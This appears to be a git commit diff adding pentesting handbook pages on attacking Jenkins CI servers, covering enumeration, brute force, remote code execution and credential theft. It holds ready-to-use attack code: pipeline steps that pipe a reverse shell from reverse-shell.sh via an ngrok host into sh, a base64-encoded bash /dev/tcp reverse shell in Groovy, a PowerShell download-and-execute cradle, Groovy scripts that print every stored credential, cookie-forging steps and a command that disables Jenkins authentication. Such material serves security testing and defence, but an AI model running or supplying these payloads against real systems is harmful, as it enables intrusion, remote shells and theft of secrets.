Migrate to using mdbook

This commit is contained in:
Congon4tor
2024-12-31 17:04:35 +01:00
parent b9a9fed802
commit cd27cf5a2e
1373 changed files with 26143 additions and 34152 deletions

View File

@@ -0,0 +1,412 @@
# Jenkins Security
{{#include ../../banners/hacktricks-training.md}}
## Basic Information
Jenkins is a tool that offers a straightforward method for establishing a **continuous integration** or **continuous delivery** (CI/CD) environment for almost **any** combination of **programming languages** and source code repositories using pipelines. Furthermore, it automates various routine development tasks. While Jenkins doesn't eliminate the **need to create scripts for individual steps**, it does provide a faster and more robust way to integrate the entire sequence of build, test, and deployment tools than one can easily construct manually.
{{#ref}}
basic-jenkins-information.md
{{#endref}}
## Unauthenticated Enumeration
In order to search for interesting Jenkins pages without authentication like (_/people_ or _/asynchPeople_, this lists the current users) you can use:
```
msf> use auxiliary/scanner/http/jenkins_enum
```
Check if you can execute commands without needing authentication:
```
msf> use auxiliary/scanner/http/jenkins_command
```
Without credentials you can look inside _**/asynchPeople/**_ path or _**/securityRealm/user/admin/search/index?q=**_ for **usernames**.
You may be able to get the Jenkins version from the path _**/oops**_ or _**/error**_
![](<../../images/image (146).png>)
### Known Vulnerabilities
{{#ref}}
https://github.com/gquere/pwn_jenkins
{{#endref}}
## Login
In the basic information you can check **all the ways to login inside Jenkins**:
{{#ref}}
basic-jenkins-information.md
{{#endref}}
### Register
You will be able to find Jenkins instances that **allow you to create an account and login inside of it. As simple as that.**
### **SSO Login**
Also if **SSO** **functionality**/**plugins** were present then you should attempt to **log-in** to the application using a test account (i.e., a test **Github/Bitbucket account**). Trick from [**here**](https://emtunc.org/blog/01/2018/research-misconfigured-jenkins-servers/).
### Bruteforce
**Jenkins** lacks **password policy** and **username brute-force mitigation**. It's essential to **brute-force** users since **weak passwords** or **usernames as passwords** may be in use, even **reversed usernames as passwords**.
```
msf> use auxiliary/scanner/http/jenkins_login
```
### Password spraying
Use [this python script](https://github.com/gquere/pwn_jenkins/blob/master/password_spraying/jenkins_password_spraying.py) or [this powershell script](https://github.com/chryzsh/JenkinsPasswordSpray).
### IP Whitelisting Bypass
Many organizations combine **SaaS-based source control management (SCM) systems** such as GitHub or GitLab with an **internal, self-hosted CI** solution like Jenkins or TeamCity. This setup allows CI systems to **receive webhook events from SaaS source control vendors**, primarily for triggering pipeline jobs.
To achieve this, organizations **whitelist** the **IP ranges** of the **SCM platforms**, permitting them to access the **internal CI system** via **webhooks**. However, it's important to note that **anyone** can create an **account** on GitHub or GitLab and configure it to **trigger a webhook**, potentially sending requests to the **internal CI system**.
Check: [https://www.paloaltonetworks.com/blog/prisma-cloud/repository-webhook-abuse-access-ci-cd-systems-at-scale/](https://www.paloaltonetworks.com/blog/prisma-cloud/repository-webhook-abuse-access-ci-cd-systems-at-scale/)
## Internal Jenkins Abuses
In these scenarios we are going to suppose you have a valid account to access Jenkins.
> [!WARNING]
> Depending on the **Authorization** mechanism configured in Jenkins and the permission of the compromised user you **might be able or not to perform the following attacks.**
For more information check the basic information:
{{#ref}}
basic-jenkins-information.md
{{#endref}}
### Listing users
If you have accessed Jenkins you can list other registered users in [http://127.0.0.1:8080/asynchPeople/](http://127.0.0.1:8080/asynchPeople/)
### Dumping builds to find cleartext secrets
Use [this script](https://github.com/gquere/pwn_jenkins/blob/master/dump_builds/jenkins_dump_builds.py) to dump build console outputs and build environment variables to hopefully find cleartext secrets.
```bash
python3 jenkins_dump_builds.py -u alice -p alice http://127.0.0.1:8080/ -o build_dumps
cd build_dumps
gitleaks detect --no-git -v
```
### **Stealing SSH Credentials**
If the compromised user has **enough privileges to create/modify a new Jenkins node** and SSH credentials are already stored to access other nodes, he could **steal those credentials** by creating/modifying a node and **setting a host that will record the credentials** without verifying the host key:
![](<../../images/image (218).png>)
You will usually find Jenkins ssh credentials in a **global provider** (`/credentials/`), so you can also dump them as you would dump any other secret. More information in the [**Dumping secrets section**](./#dumping-secrets).
### **RCE in Jenkins**
Getting a **shell in the Jenkins server** gives the attacker the opportunity to leak all the **secrets** and **env variables** and to **exploit other machines** located in the same network or even **gather cloud credentials**.
By default, Jenkins will **run as SYSTEM**. So, compromising it will give the attacker **SYSTEM privileges**.
### **RCE Creating/Modifying a project**
Creating/Modifying a project is a way to obtain RCE over the Jenkins server:
{{#ref}}
jenkins-rce-creating-modifying-project.md
{{#endref}}
### **RCE Execute Groovy script**
You can also obtain RCE executing a Groovy script, which might my stealthier than creating a new project:
{{#ref}}
jenkins-rce-with-groovy-script.md
{{#endref}}
### RCE Creating/Modifying Pipeline
You can also get **RCE by creating/modifying a pipeline**:
{{#ref}}
jenkins-rce-creating-modifying-pipeline.md
{{#endref}}
## Pipeline Exploitation
To exploit pipelines you still need to have access to Jenkins.
### Build Pipelines
**Pipelines** can also be used as **build mechanism in projects**, in that case it can be configured a **file inside the repository** that will contains the pipeline syntax. By default `/Jenkinsfile` is used:
![](<../../images/image (127).png>)
It's also possible to **store pipeline configuration files in other places** (in other repositories for example) with the goal of **separating** the repository **access** and the pipeline access.
If an attacker have **write access over that file** he will be able to **modify** it and **potentially trigger** the pipeline without even having access to Jenkins.\
It's possible that the attacker will need to **bypass some branch protections** (depending on the platform and the user privileges they could be bypassed or not).
The most common triggers to execute a custom pipeline are:
- **Pull request** to the main branch (or potentially to other branches)
- **Push to the main branch** (or potentially to other branches)
- **Update the main branch** and wait until it's executed somehow
> [!NOTE]
> If you are an **external user** you shouldn't expect to create a **PR to the main branch** of the repo of **other user/organization** and **trigger the pipeline**... but if it's **bad configured** you could fully **compromise companies just by exploiting this**.
### Pipeline RCE
In the previous RCE section it was already indicated a technique to [**get RCE modifying a pipeline**](./#rce-creating-modifying-pipeline).
### Checking Env variables
It's possible to declare **clear text env variables** for the whole pipeline or for specific stages. This env variables **shouldn't contain sensitive info**, but and attacker could always **check all the pipeline** configurations/Jenkinsfiles:
```bash
pipeline {
agent {label 'built-in'}
environment {
GENERIC_ENV_VAR = "Test pipeline ENV variables."
}
stages {
stage("Build") {
environment {
STAGE_ENV_VAR = "Test stage ENV variables."
}
steps {
```
### Dumping secrets
For information about how are secrets usually treated by Jenkins check out the basic information:
{{#ref}}
basic-jenkins-information.md
{{#endref}}
Credentials can be **scoped to global providers** (`/credentials/`) or to **specific projects** (`/job/<project-name>/configure`). Therefore, in order to exfiltrate all of them you need to **compromise at least all the projects** that contains secrets and execute custom/poisoned pipelines.
There is another problem, in order to get a **secret inside the env** of a pipeline you need to **know the name and type of the secret**. For example, you try lo **load** a **`usernamePassword`** **secret** as a **`string`** **secret** you will get this **error**:
```
ERROR: Credentials 'flag2' is of type 'Username with password' where 'org.jenkinsci.plugins.plaincredentials.StringCredentials' was expected
```
Here you have the way to load some common secret types:
```bash
withCredentials([usernamePassword(credentialsId: 'flag2', usernameVariable: 'USERNAME', passwordVariable: 'PASS')]) {
sh '''
env #Search for USERNAME and PASS
'''
}
withCredentials([string(credentialsId: 'flag1', variable: 'SECRET')]) {
sh '''
env #Search for SECRET
'''
}
withCredentials([usernameColonPassword(credentialsId: 'mylogin', variable: 'USERPASS')]) {
sh '''
env # Search for USERPASS
'''
}
# You can also load multiple env variables at once
withCredentials([usernamePassword(credentialsId: 'amazon', usernameVariable: 'USERNAME', passwordVariable: 'PASSWORD'),
string(credentialsId: 'slack-url',variable: 'SLACK_URL'),]) {
sh '''
env
'''
}
```
At the end of this page you can **find all the credential types**: [https://www.jenkins.io/doc/pipeline/steps/credentials-binding/](https://www.jenkins.io/doc/pipeline/steps/credentials-binding/)
> [!WARNING]
> The best way to **dump all the secrets at once** is by **compromising** the **Jenkins** machine (running a reverse shell in the **built-in node** for example) and then **leaking** the **master keys** and the **encrypted secrets** and decrypting them offline.\
> More on how to do this in the [Nodes & Agents section](./#nodes-and-agents) and in the [Post Exploitation section](./#post-exploitation).
### Triggers
From [the docs](https://www.jenkins.io/doc/book/pipeline/syntax/#triggers): The `triggers` directive defines the **automated ways in which the Pipeline should be re-triggered**. For Pipelines which are integrated with a source such as GitHub or BitBucket, `triggers` may not be necessary as webhooks-based integration will likely already be present. The triggers currently available are `cron`, `pollSCM` and `upstream`.
Cron example:
```bash
triggers { cron('H */4 * * 1-5') }
```
Check **other examples in the docs**.
### Nodes & Agents
A **Jenkins instance** might have **different agents running in different machines**. From an attacker perspective, access to different machines means **different potential cloud credentials** to steal or **different network access** that could be abuse to exploit other machines.
For more information check the basic information:
{{#ref}}
basic-jenkins-information.md
{{#endref}}
You can enumerate the **configured nodes** in `/computer/`, you will usually find the \*\*`Built-In Node` \*\* (which is the node running Jenkins) and potentially more:
![](<../../images/image (249).png>)
It is **specially interesting to compromise the Built-In node** because it contains sensitive Jenkins information.
To indicate you want to **run** the **pipeline** in the **built-in Jenkins node** you can specify inside the pipeline the following config:
```bash
pipeline {
agent {label 'built-in'}
```
### Complete example
Pipeline in an specific agent, with a cron trigger, with pipeline and stage env variables, loading 2 variables in a step and sending a reverse shell:
```bash
pipeline {
agent {label 'built-in'}
triggers { cron('H */4 * * 1-5') }
environment {
GENERIC_ENV_VAR = "Test pipeline ENV variables."
}
stages {
stage("Build") {
environment {
STAGE_ENV_VAR = "Test stage ENV variables."
}
steps {
withCredentials([usernamePassword(credentialsId: 'amazon', usernameVariable: 'USERNAME', passwordVariable: 'PASSWORD'),
string(credentialsId: 'slack-url',variable: 'SLACK_URL'),]) {
sh '''
curl https://reverse-shell.sh/0.tcp.ngrok.io:16287 | sh PASS
'''
}
}
}
post {
always {
cleanWs()
}
}
}
```
## Arbitrary File Read to RCE
{{#ref}}
jenkins-arbitrary-file-read-to-rce-via-remember-me.md
{{#endref}}
## RCE
{{#ref}}
jenkins-rce-with-groovy-script.md
{{#endref}}
{{#ref}}
jenkins-rce-creating-modifying-project.md
{{#endref}}
{{#ref}}
jenkins-rce-creating-modifying-pipeline.md
{{#endref}}
## Post Exploitation
### Metasploit
```
msf> post/multi/gather/jenkins_gather
```
### Jenkins Secrets
You can list the secrets accessing `/credentials/` if you have enough permissions. Note that this will only list the secrets inside the `credentials.xml` file, but **build configuration files** might also have **more credentials**.
If you can **see the configuration of each project**, you can also see in there the **names of the credentials (secrets)** being use to access the repository and **other credentials of the project**.
![](<../../images/image (180).png>)
#### From Groovy
{{#ref}}
jenkins-dumping-secrets-from-groovy.md
{{#endref}}
#### From disk
These files are needed to **decrypt Jenkins secrets**:
- secrets/master.key
- secrets/hudson.util.Secret
Such **secrets can usually be found in**:
- credentials.xml
- jobs/.../build.xml
- jobs/.../config.xml
Here's a regex to find them:
```bash
# Find the secrets
grep -re "^\s*<[a-zA-Z]*>{[a-zA-Z0-9=+/]*}<"
# Print only the filenames where the secrets are located
grep -lre "^\s*<[a-zA-Z]*>{[a-zA-Z0-9=+/]*}<"
# Secret example
credentials.xml: <secret>{AQAAABAAAAAwsSbQDNcKIRQMjEMYYJeSIxi2d3MHmsfW3d1Y52KMOmZ9tLYyOzTSvNoTXdvHpx/kkEbRZS9OYoqzGsIFXtg7cw==}</secret>
```
#### Decrypt Jenkins secrets offline
If you have dumped the **needed passwords to decrypt the secrets**, use [**this script**](https://github.com/gquere/pwn_jenkins/blob/master/offline_decryption/jenkins_offline_decrypt.py) **to decrypt those secrets**.
```bash
python3 jenkins_offline_decrypt.py master.key hudson.util.Secret cred.xml
06165DF2-C047-4402-8CAB-1C8EC526C115
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn
NhAAAAAwEAAQAAAYEAt985Hbb8KfIImS6dZlVG6swiotCiIlg/P7aME9PvZNUgg2Iyf2FT
```
#### Decrypt Jenkins secrets from Groovy
```bash
println(hudson.util.Secret.decrypt("{...}"))
```
### Create new admin user
1. Access the Jenkins config.xml file in `/var/lib/jenkins/config.xml` or `C:\Program Files (x86)\Jenkis\`
2. Search for the word `<useSecurity>true</useSecurity>`and change the word \*\*`true` \*\* to **`false`**.
1. `sed -i -e 's/<useSecurity>true</<useSecurity>false</g' config.xml`
3. **Restart** the **Jenkins** server: `service jenkins restart`
4. Now go to the Jenkins portal again and **Jenkins will not ask any credentials** this time. You navigate to "**Manage Jenkins**" to set the **administrator password again**.
5. **Enable** the **security** again by changing settings to `<useSecurity>true</useSecurity>` and **restart the Jenkins again**.
## References
- [https://github.com/gquere/pwn_jenkins](https://github.com/gquere/pwn_jenkins)
- [https://leonjza.github.io/blog/2015/05/27/jenkins-to-meterpreter---toying-with-powersploit/](https://leonjza.github.io/blog/2015/05/27/jenkins-to-meterpreter---toying-with-powersploit/)
- [https://www.pentestgeek.com/penetration-testing/hacking-jenkins-servers-with-no-password](https://www.pentestgeek.com/penetration-testing/hacking-jenkins-servers-with-no-password)
- [https://www.lazysystemadmin.com/2018/12/quick-howto-reset-jenkins-admin-password.html](https://www.lazysystemadmin.com/2018/12/quick-howto-reset-jenkins-admin-password.html)
- [https://medium.com/cider-sec/exploiting-jenkins-build-authorization-22bf72926072](https://medium.com/cider-sec/exploiting-jenkins-build-authorization-22bf72926072)
- [https://medium.com/@Proclus/tryhackme-internal-walk-through-90ec901926d3](https://medium.com/@Proclus/tryhackme-internal-walk-through-90ec901926d3)
{{#include ../../banners/hacktricks-training.md}}

View File

@@ -0,0 +1,94 @@
# Basic Jenkins Information
{{#include ../../banners/hacktricks-training.md}}
## Access
### Username + Password
The most common way to login in Jenkins if with a username or a password
### Cookie
If an **authorized cookie gets stolen**, it ca be used to access the session of the user. The cookie is usually called `JSESSIONID.*`. (A user can terminate all his sessions, but he would need to find out first that a cookie was stolen).
### SSO/Plugins
Jenkins can be configured using plugins to be **accessible via third party SSO**.
### Tokens
**Users can generate tokens** to give access to applications to impersonate them via CLI or REST API.
### SSH Keys
This component provides a built-in SSH server for Jenkins. Its an alternative interface for the [Jenkins CLI](https://www.jenkins.io/doc/book/managing/cli/), and commands can be invoked this way using any SSH client. (From the [docs](https://plugins.jenkins.io/sshd/))
## Authorization
In `/configureSecurity` it's possible to **configure the authorization method of Jenkins**. There are several options:
- **Anyone can do anything**: Even anonymous access can administrate the server
- **Legacy mode**: Same as Jenkins <1.164. If you have the **"admin" role**, you'll be granted **full control** over the system, and **otherwise** (including **anonymous** users) you'll have **read** access.
- **Logged-in users can do anything**: In this mode, every **logged-in user gets full control** of Jenkins. The only user who won't have full control is **anonymous user**, who only gets **read access**.
- **Matrix-based security**: You can configure **who can do what** in a table. Each **column** represents a **permission**. Each **row** **represents** a **user or a group/role.** This includes a special user '**anonymous**', which represents **unauthenticated users**, as well as '**authenticated**', which represents **all authenticated users**.
![](<../../images/image (149).png>)
- **Project-based Matrix Authorization Strategy:** This mode is an **extension** to "**Matrix-based security**" that allows additional ACL matrix to be **defined for each project separately.**
- **Role-Based Strategy:** Enables defining authorizations using a **role-based strategy**. Manage the roles in `/role-strategy`.
## **Security Realm**
In `/configureSecurity` it's possible to **configure the security realm.** By default Jenkins includes support for a few different Security Realms:
- **Delegate to servlet container**: For **delegating authentication a servlet container running the Jenkins controller**, such as [Jetty](https://www.eclipse.org/jetty/).
- **Jenkins own user database:** Use **Jenkinss own built-in user data store** for authentication instead of delegating to an external system. This is enabled by default.
- **LDAP**: Delegate all authentication to a configured LDAP server, including both users and groups.
- **Unix user/group database**: **Delegates the authentication to the underlying Unix** OS-level user database on the Jenkins controller. This mode will also allow re-use of Unix groups for authorization.
Plugins can provide additional security realms which may be useful for incorporating Jenkins into existing identity systems, such as:
- [Active Directory](https://plugins.jenkins.io/active-directory)
- [GitHub Authentication](https://plugins.jenkins.io/github-oauth)
- [Atlassian Crowd 2](https://plugins.jenkins.io/crowd2)
## Jenkins Nodes, Agents & Executors
Definitions from the [docs](https://www.jenkins.io/doc/book/managing/nodes/):
**Nodes** are the **machines** on which build **agents run**. Jenkins monitors each attached node for disk space, free temp space, free swap, clock time/sync and response time. A node is taken offline if any of these values go outside the configured threshold.
**Agents** **manage** the **task execution** on behalf of the Jenkins controller by **using executors**. An agent can use any operating system that supports Java. Tools required for builds and tests are installed on the node where the agent runs; they can **be installed directly or in a container** (Docker or Kubernetes). Each **agent is effectively a process with its own PID** on the host machine.
An **executor** is a **slot for execution of tasks**; effectively, it is **a thread in the agent**. The **number of executors** on a node defines the number of **concurrent tasks** that can be executed on that node at one time. In other words, this determines the **number of concurrent Pipeline `stages`** that can execute on that node at one time.
## Jenkins Secrets
### Encryption of Secrets and Credentials
Definition from the [docs](https://www.jenkins.io/doc/developer/security/secrets/#encryption-of-secrets-and-credentials): Jenkins uses **AES to encrypt and protect secrets**, credentials, and their respective encryption keys. These encryption keys are stored in `$JENKINS_HOME/secrets/` along with the master key used to protect said keys. This directory should be configured so that only the operating system user the Jenkins controller is running as has read and write access to this directory (i.e., a `chmod` value of `0700` or using appropriate file attributes). The **master key** (sometimes referred to as a "key encryption key" in cryptojargon) is **stored \_unencrypted**\_ on the Jenkins controller filesystem in **`$JENKINS_HOME/secrets/master.key`** which does not protect against attackers with direct access to that file. Most users and developers will use these encryption keys indirectly via either the [Secret](https://javadoc.jenkins.io/byShortName/Secret) API for encrypting generic secret data or through the credentials API. For the cryptocurious, Jenkins uses AES in cipher block chaining (CBC) mode with PKCS#5 padding and random IVs to encrypt instances of [CryptoConfidentialKey](https://javadoc.jenkins.io/byShortName/CryptoConfidentialKey) which are stored in `$JENKINS_HOME/secrets/` with a filename corresponding to their `CryptoConfidentialKey` id. Common key ids include:
- `hudson.util.Secret`: used for generic secrets;
- `com.cloudbees.plugins.credentials.SecretBytes.KEY`: used for some credentials types;
- `jenkins.model.Jenkins.crumbSalt`: used by the [CSRF protection mechanism](https://www.jenkins.io/doc/book/managing/security/#cross-site-request-forgery); and
### Credentials Access
Credentials can be **scoped to global providers** (`/credentials/`) that can be accessed by any project configured, or can be scoped to **specific projects** (`/job/<project-name>/configure`) and therefore only accessible from the specific project.
According to [**the docs**](https://www.jenkins.io/blog/2019/02/21/credentials-masking/): Credentials that are in scope are made available to the pipeline without limitation. To **prevent accidental exposure in the build log**, credentials are **masked** from regular output, so an invocation of `env` (Linux) or `set` (Windows), or programs printing their environment or parameters would **not reveal them in the build log** to users who would not otherwise have access to the credentials.
**That is why in order to exfiltrate the credentials an attacker needs to, for example, base64 them.**
## References
- [https://www.jenkins.io/doc/book/security/managing-security/](https://www.jenkins.io/doc/book/security/managing-security/)
- [https://www.jenkins.io/doc/book/managing/nodes/](https://www.jenkins.io/doc/book/managing/nodes/)
- [https://www.jenkins.io/doc/developer/security/secrets/](https://www.jenkins.io/doc/developer/security/secrets/)
- [https://www.jenkins.io/blog/2019/02/21/credentials-masking/](https://www.jenkins.io/blog/2019/02/21/credentials-masking/)
- [https://www.jenkins.io/doc/book/managing/security/#cross-site-request-forgery](https://www.jenkins.io/doc/book/managing/security/#cross-site-request-forgery)
- [https://www.jenkins.io/doc/developer/security/secrets/#encryption-of-secrets-and-credentials](https://www.jenkins.io/doc/developer/security/secrets/#encryption-of-secrets-and-credentials)
- [https://www.jenkins.io/doc/book/managing/nodes/](https://www.jenkins.io/doc/book/managing/nodes/)
{{#include ../../banners/hacktricks-training.md}}

View File

@@ -0,0 +1,105 @@
# Jenkins Arbitrary File Read to RCE via "Remember Me"
{{#include ../../banners/hacktricks-training.md}}
In this blog post is possible to find a great way to transform a Local File Inclusion vulnerability in Jenkins into RCE: [https://blog.securelayer7.net/spring-cloud-skipper-vulnerability/](https://blog.securelayer7.net/spring-cloud-skipper-vulnerability/)
This is an AI created summary of the part of the post were the creaft of an arbitrary cookie is abused to get RCE abusing a local file read until I have time to create a summary on my own:
### Attack Prerequisites
- **Feature Requirement:** "Remember me" must be enabled (default setting).
- **Access Levels:** Attacker needs Overall/Read permissions.
- **Secret Access:** Ability to read both binary and textual content from key files.
### Detailed Exploitation Process
#### Step 1: Data Collection
**User Information Retrieval**
- Access user configuration and secrets from `$JENKINS_HOME/users/*.xml` for each user to gather:
- **Username**
- **User seed**
- **Timestamp**
- **Password hash**
**Secret Key Extraction**
- Extract cryptographic keys used for signing the cookie:
- **Secret Key:** `$JENKINS_HOME/secret.key`
- **Master Key:** `$JENKINS_HOME/secrets/master.key`
- **MAC Key File:** `$JENKINS_HOME/secrets/org.springframework.security.web.authentication.rememberme.TokenBasedRememberMeServices.mac`
#### Step 2: Cookie Forging
**Token Preparation**
- **Calculate Token Expiry Time:**
```javascript
tokenExpiryTime = currentServerTimeInMillis() + 3600000 // Adds one hour to current time
```
- **Concatenate Data for Token:**
```javascript
token = username + ":" + tokenExpiryTime + ":" + userSeed + ":" + secretKey
```
**MAC Key Decryption**
- **Decrypt MAC Key File:**
```javascript
key = toAes128Key(masterKey) // Convert master key to AES128 key format
decrypted = AES.decrypt(macFile, key) // Decrypt the .mac file
if not decrypted.hasSuffix("::::MAGIC::::")
return ERROR;
macKey = decrypted.withoutSuffix("::::MAGIC::::")
```
**Signature Computation**
- **Compute HMAC SHA256:**
```javascript
mac = HmacSHA256(token, macKey) // Compute HMAC using the token and MAC key
tokenSignature = bytesToHexString(mac) // Convert the MAC to a hexadecimal string
```
**Cookie Encoding**
- **Generate Final Cookie:**
```javascript
cookie = base64.encode(
username + ":" + tokenExpiryTime + ":" + tokenSignature
) // Base64 encode the cookie data
```
#### Step 3: Code Execution
**Session Authentication**
- **Fetch CSRF and Session Tokens:**
- Make a request to `/crumbIssuer/api/json` to obtain `Jenkins-Crumb`.
- Capture `JSESSIONID` from the response, which will be used in conjunction with the remember-me cookie.
**Command Execution Request**
- **Send a POST Request with Groovy Script:**
```bash
curl -X POST "$JENKINS_URL/scriptText" \
--cookie "remember-me=$REMEMBER_ME_COOKIE; JSESSIONID...=$JSESSIONID" \
--header "Jenkins-Crumb: $CRUMB" \
--header "Content-Type: application/x-www-form-urlencoded" \
--data-urlencode "script=$SCRIPT"
```
- Groovy script can be used to execute system-level commands or other operations within the Jenkins environment.
The example curl command provided demonstrates how to make a request to Jenkins with the necessary headers and cookies to execute arbitrary code securely.
{{#include ../../banners/hacktricks-training.md}}

View File

@@ -0,0 +1,89 @@
# Jenkins Dumping Secrets from Groovy
{{#include ../../banners/hacktricks-training.md}}
> [!WARNING]
> Note that these scripts will only list the secrets inside the `credentials.xml` file, but **build configuration files** might also have **more credentials**.
You can **dump all the secrets from the Groovy Script console** in `/script` running this code
```java
// From https://www.dennisotugo.com/how-to-view-all-jenkins-secrets-credentials/
import jenkins.model.*
import com.cloudbees.plugins.credentials.*
import com.cloudbees.plugins.credentials.impl.*
import com.cloudbees.plugins.credentials.domains.*
import com.cloudbees.jenkins.plugins.sshcredentials.impl.BasicSSHUserPrivateKey
import org.jenkinsci.plugins.plaincredentials.StringCredentials
import org.jenkinsci.plugins.plaincredentials.impl.FileCredentialsImpl
def showRow = { credentialType, secretId, username = null, password = null, description = null ->
println("${credentialType} : ".padLeft(20) + secretId?.padRight(38)+" | " +username?.padRight(20)+" | " +password?.padRight(40) + " | " +description)
}
// set Credentials domain name (null means is it global)
domainName = null
credentialsStore = Jenkins.instance.getExtensionList('com.cloudbees.plugins.credentials.SystemCredentialsProvider')[0]?.getStore()
domain = new Domain(domainName, null, Collections.<DomainSpecification>emptyList())
credentialsStore?.getCredentials(domain).each{
if(it instanceof UsernamePasswordCredentialsImpl)
showRow("user/password", it.id, it.username, it.password?.getPlainText(), it.description)
else if(it instanceof BasicSSHUserPrivateKey)
showRow("ssh priv key", it.id, it.passphrase?.getPlainText(), it.privateKeySource?.getPrivateKey()?.getPlainText(), it.description)
else if(it instanceof StringCredentials)
showRow("secret text", it.id, it.secret?.getPlainText(), '', it.description)
else if(it instanceof FileCredentialsImpl)
showRow("secret file", it.id, it.content?.text, '', it.description)
else
showRow("something else", it.id, '', '', '')
}
return
```
#### or this one:
```java
import java.nio.charset.StandardCharsets;
def creds = com.cloudbees.plugins.credentials.CredentialsProvider.lookupCredentials(
com.cloudbees.plugins.credentials.Credentials.class
)
for (c in creds) {
println(c.id)
if (c.properties.description) {
println(" description: " + c.description)
}
if (c.properties.username) {
println(" username: " + c.username)
}
if (c.properties.password) {
println(" password: " + c.password)
}
if (c.properties.passphrase) {
println(" passphrase: " + c.passphrase)
}
if (c.properties.secret) {
println(" secret: " + c.secret)
}
if (c.properties.secretBytes) {
println(" secretBytes: ")
println("\n" + new String(c.secretBytes.getPlainData(), StandardCharsets.UTF_8))
println("")
}
if (c.properties.privateKeySource) {
println(" privateKey: " + c.getPrivateKey())
}
if (c.properties.apiToken) {
println(" apiToken: " + c.apiToken)
}
if (c.properties.token) {
println(" token: " + c.token)
}
println("")
}
```
{{#include ../../banners/hacktricks-training.md}}

View File

@@ -0,0 +1,39 @@
# Jenkins RCE Creating/Modifying Pipeline
{{#include ../../banners/hacktricks-training.md}}
## Creating a new Pipeline
In "New Item" (accessible in `/view/all/newJob`) select **Pipeline:**
![](<../../images/image (235).png>)
In the **Pipeline section** write the **reverse shell**:
![](<../../images/image (285).png>)
```groovy
pipeline {
agent any
stages {
stage('Hello') {
steps {
sh '''
curl https://reverse-shell.sh/0.tcp.ngrok.io:16287 | sh
'''
}
}
}
}
```
Finally click on **Save**, and **Build Now** and the pipeline will be executed:
![](<../../images/image (228).png>)
## Modifying a Pipeline
If you can access the configuration file of some pipeline configured you could just **modify it appending your reverse shell** and then execute it or wait until it gets executed.
{{#include ../../banners/hacktricks-training.md}}

View File

@@ -0,0 +1,36 @@
# Jenkins RCE Creating/Modifying Project
{{#include ../../banners/hacktricks-training.md}}
## Creating a Project
This method is very noisy because you have to create a hole new project (obviously this will only work if you user is allowed to create a new project).
1. **Create a new project** (Freestyle project) clicking "New Item" or in `/view/all/newJob`
2. Inside **Build** section set **Execute shell** and paste a powershell Empire launcher or a meterpreter powershell (can be obtained using _unicorn_). Start the payload with _PowerShell.exe_ instead using _powershell._
3. Click **Build now**
1. If **Build now** button doesn't appear, you can still go to **configure** --> **Build Triggers** --> `Build periodically` and set a cron of `* * * * *`
2. Instead of using cron, you can use the config "**Trigger builds remotely**" where you just need to set a the api token name to trigger the job. Then go to your user profile and **generate an API token** (call this API token as you called the api token to trigger the job). Finally, trigger the job with: **`curl <username>:<api_token>@<jenkins_url>/job/<job_name>/build?token=<api_token_name>`**
![](<../../images/image (165).png>)
## Modifying a Project
Go to the projects and check **if you can configure any** of them (look for the "Configure button"):
![](<../../images/image (265).png>)
If you **cannot** see any **configuration** **button** then you **cannot** **configure** it probably (but check all projects as you might be able to configure some of them and not others).
Or **try to access to the path** `/job/<proj-name>/configure` or `/me/my-views/view/all/job/<proj-name>/configure` \_\_ in each project (example: `/job/Project0/configure` or `/me/my-views/view/all/job/Project0/configure`).
## Execution
If you are allowed to configure the project you can **make it execute commands when a build is successful**:
![](<../../images/image (98).png>)
Click on **Save** and **build** the project and your **command will be executed**.\
If you are not executing a reverse shell but a simple command you can **see the output of the command inside the output of the build**.
{{#include ../../banners/hacktricks-training.md}}

View File

@@ -0,0 +1,63 @@
# Jenkins RCE with Groovy Script
{{#include ../../banners/hacktricks-training.md}}
## Jenkins RCE with Groovy Script
This is less noisy than creating a new project in Jenkins
1. Go to _path_jenkins/script_
2. Inside the text box introduce the script
```python
def process = "PowerShell.exe <WHATEVER>".execute()
println "Found text ${process.text}"
```
You could execute a command using: `cmd.exe /c dir`
In **linux** you can do: **`"ls /".execute().text`**
If you need to use _quotes_ and _single quotes_ inside the text. You can use _"""PAYLOAD"""_ (triple double quotes) to execute the payload.
**Another useful groovy script** is (replace \[INSERT COMMAND]):
```python
def sout = new StringBuffer(), serr = new StringBuffer()
def proc = '[INSERT COMMAND]'.execute()
proc.consumeProcessOutput(sout, serr)
proc.waitForOrKill(1000)
println "out> $sout err> $serr"
```
### Reverse shell in linux
```python
def sout = new StringBuffer(), serr = new StringBuffer()
def proc = 'bash -c {echo,YmFzaCAtYyAnYmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC4yMi80MzQzIDA+JjEnCg==}|{base64,-d}|{bash,-i}'.execute()
proc.consumeProcessOutput(sout, serr)
proc.waitForOrKill(1000)
println "out> $sout err> $serr"
```
### Reverse shell in windows
You can prepare a HTTP server with a PS reverse shell and use Jeking to download and execute it:
```python
scriptblock="iex (New-Object Net.WebClient).DownloadString('http://192.168.252.1:8000/payload')"
echo $scriptblock | iconv --to-code UTF-16LE | base64 -w 0
cmd.exe /c PowerShell.exe -Exec ByPass -Nol -Enc <BASE64>
```
### Script
You can automate this process with [**this script**](https://github.com/gquere/pwn_jenkins/blob/master/rce/jenkins_rce_admin_script.py).
You can use MSF to get a reverse shell:
```
msf> use exploit/multi/http/jenkins_script_console
```
{{#include ../../banners/hacktricks-training.md}}